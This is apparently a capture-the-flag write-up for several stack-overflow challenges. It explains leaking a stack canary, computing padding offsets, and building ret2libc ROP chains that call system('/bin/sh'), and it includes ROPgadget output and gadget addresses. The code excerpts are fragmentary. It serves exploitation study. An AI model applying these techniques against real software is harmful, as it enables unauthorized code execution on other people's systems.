Without system and /bin/sh, it is ret2libc. Though it gives libc file, Canary dont let us do stack overflow directly.
The general solution: first leak Canary and then write it back when performing stack overflow, then using stack overflow to ret2libc.
Since Canary has \x00 as the end, we can print it as string by adding printable letters as padding in the front of Canary.
As for ret2libc we have puts, write and read, and we are so familiar to it. Actually this time I will use one_gadget to find execve call in libc-2.23.so.
In main() it has
1 2
case1: read(0, &s, 0x100uLL);
which causes overflow, and the padding should be 0x90 - 0x8 = 0x88 according to char s; // [rsp+10h] [rbp-90h] and unsigned __int64 v6; // [rsp+98h] [rbp-8h].
Then use gadgets like pop rdi ; ret for outputting Canary content by puts and write (write needs more gadgets as it has 4 parameters).
Use one_gadget to find execve("/bin/sh",...) (Using LibcSearcher to get system('/bin/sh') is also ok but slower):
int __fastcall echo(__int64 a1) { char s2[16]; // [rsp+10h] [rbp-10h]
for ( i = 0; *(_BYTE *)(i + a1); ++i ) s2[i] = *(_BYTE *)(i + a1); s2[i] = 0; if ( !strcmp("ROIS", s2) ) { printf("RCTF{Welcome}", s2); puts(" is not flag"); } returnprintf("%s", s2); }
Analysis
In main() it reads buf (0x400 bytes), then in echo() it copys buf to s2 which is only 0x10 bytes long. That is where the overflow happens. When it saw a \x00 the string copy will stop.
There are no system and /bin/sh or something else related to getting shell, so we choose to leak libc first.
It contains puts, write, read and some other functions, so we can use puts or write to output read address, then find out the libc version, calculate libc base address, and finally execute system("/bin/sh").
First determine the offset of overflow. Input aaaaaaaa and step to the end of echo(), check the stack in gdb.
The aaaaaaaa starts from 0x7fffffffde50 is s2 (copied from buf) in echo(), and the aaaaaaaa starts from 0x7fffffffde70 is the original buf from main(). The distance is 0x20. The memory layout is like this:
As this is a 64-bit program, every unit/item is 8-bit length, so to overflow ret addr of echo(), padding is 0x18. But it stops to copy when meeting \x00, so padding cannot be address (normally like 0x00abcdef). Payload: ‘a’ * 0x18 + pop_4 + ROPchain
The so called pop_4 is to pop 4 items on the stack, which is a clever method, so that program returns to ROPchain successfully. Use ROPgadget to find:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ ROPgadget --binary ./welpwn --only "pop|ret" Gadgets information ============================================================ 0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008a0 : pop r14 ; pop r15 ; ret 0x00000000004008a2 : pop r15 ; ret 0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400675 : pop rbp ; ret 0x00000000004008a3 : pop rdi ; ret 0x00000000004008a1 : pop rsi ; pop r15 ; ret 0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400589 : ret 0x00000000004006a5 : ret 0xc148 0x000000000040081a : ret 0xfffd
Unique gadgets found: 13
The pop_4 is in 0040089c. As for ROPchain, since 64-bit and 32-bit is different because the first few parameters are saved in registers (rdi, rsi, rdx, rcx, r8, r9, then on the stack) in 64-bit, while stored on the stack in 32-bit.
The first ROPchain should output some function address, to calculate libc base address and determine libc version. Use puts to output read address and return to main. The first ROPchain: p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
Call system("/bin/sh") in the next ROPchain. The second ROPchain: p64(pop_rdi) + p64(bin_sh) + p64(system)
Exploit
LibcSearcher version (the question is it not works for local):
for ( i = 0; ; ++i ) { result = i; if ( (signedint)i >= a2 ) break; read(0, (void *)((signedint)i + a1), 1uLL); } return result; }
Analysis
The main logic is to read 200 bytes one by one, and store them in a 0x40 length array, which leads to an overflow.
There is no system or /bin/sh again, but it has puts and read functions, which helps to perform ret2libc.
pwn-100 is pretty similar to welpwn, but the input part of the exploit script is really different. Here it reads 200 bytes/chars and your \n counts, so be careful to use sendline in pwntools (use send instead, I wasted hours watching my script encountering EOF).
In welpwn exploit it has read_addr = u64(sh.recv(6).ljust(8,'\x00')), and here read_addr = u64(source[:-1].ljust(8,'\x00')) also gives it 6 bytes. Truth is: last 7 bytes is we should focus, but the last one is 0xa aka LF (line feed), so the rest consist of the output address.
int __cdecl main() { int buf; // [esp+2Ch] [ebp-6Ch] int v2; // [esp+30h] [ebp-68h] int v3; // [esp+34h] [ebp-64h] int v4; // [esp+38h] [ebp-60h] int v5; // [esp+3Ch] [ebp-5Ch] int v6; // [esp+40h] [ebp-58h] int v7; // [esp+44h] [ebp-54h]
When meeting multi results, we choose 0: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) instead of 1: ubuntu-trusty-amd64-libc6 (id libc6_2.19-0ubuntu6.14_amd64) and other archive-old-glibc.